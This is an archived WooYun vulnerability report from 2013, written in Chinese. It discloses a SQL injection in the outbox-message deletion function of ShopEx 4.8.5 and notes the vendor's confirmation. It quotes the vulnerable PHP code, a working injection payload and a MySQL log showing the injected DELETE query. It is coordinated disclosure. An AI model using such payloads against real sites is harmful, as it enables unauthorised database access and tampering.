乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-05-26: 细节已通知厂商并且等待厂商处理中 2013-05-26: 厂商已经确认,细节仅向厂商公开 2013-05-29: 细节向第三方安全合作伙伴开放 2013-07-20: 细节向核心白帽子及相关领域专家公开 2013-07-30: 细节向普通白帽子公开 2013-08-09: 细节向实习白帽子公开 2013-08-24: 细节向公众公开
无聊的sql注入测试版本:shopex-singel-4.8.5.78660
在文件:\core\shop\controller\ctl.member.php
function delOutBoxMsg() { if(!empty($_POST['deloutbox'])){ $oMsg = &$this->system->loadModel('resources/msgbox'); $oMsg->delOutBoxMsg($_POST['deloutbox']); $this->splash('success', $this->system->mkUrl("member","outbox"), __('删除成功')); }else{ $this->splash('failed', $this->system->mkUrl("member","outbox"), __('删除失败: 没有选中任何记录!')); } }
和shopex注入漏洞#2一样的问题
public function delOutBoxMsg( $aMsgId ){ foreach ( $aMsgId as $val ) { if ( $val ) { $aTmp[] = $val; } } if ( $aTmp ) { $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (".implode( ",", $aTmp ).")" ); } return true;}
提交:deloutbox[1]=1) and (select count(*) from sdb_operators)=1%23
130526 20:49:28 372 Connect root@localhost on 372 Init DB shopex 372 Query SET NAMES 'utf8' 372 Query SELECT * FROM sdb_plugins WHERE plugin_type="app" 372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1 372 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1 372 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1 372 Query SELECT count(*) AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1 372 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins.disabled = 'false' AND sdb_plugins.plugin_type='app' LIMIT 0, 20 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1 372 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1 372 Query DELETE FROM sdb_message WHERE msg_id IN (1) and (select count(*) from sdb_operators)=1#)
查看sql执行记录已经ok
哎,体力活
intval
危害等级:中
漏洞Rank:10
确认时间:2013-05-26 23:18
非常感谢您为shopex信息安全做的贡献我们将尽快修复非常感谢
暂无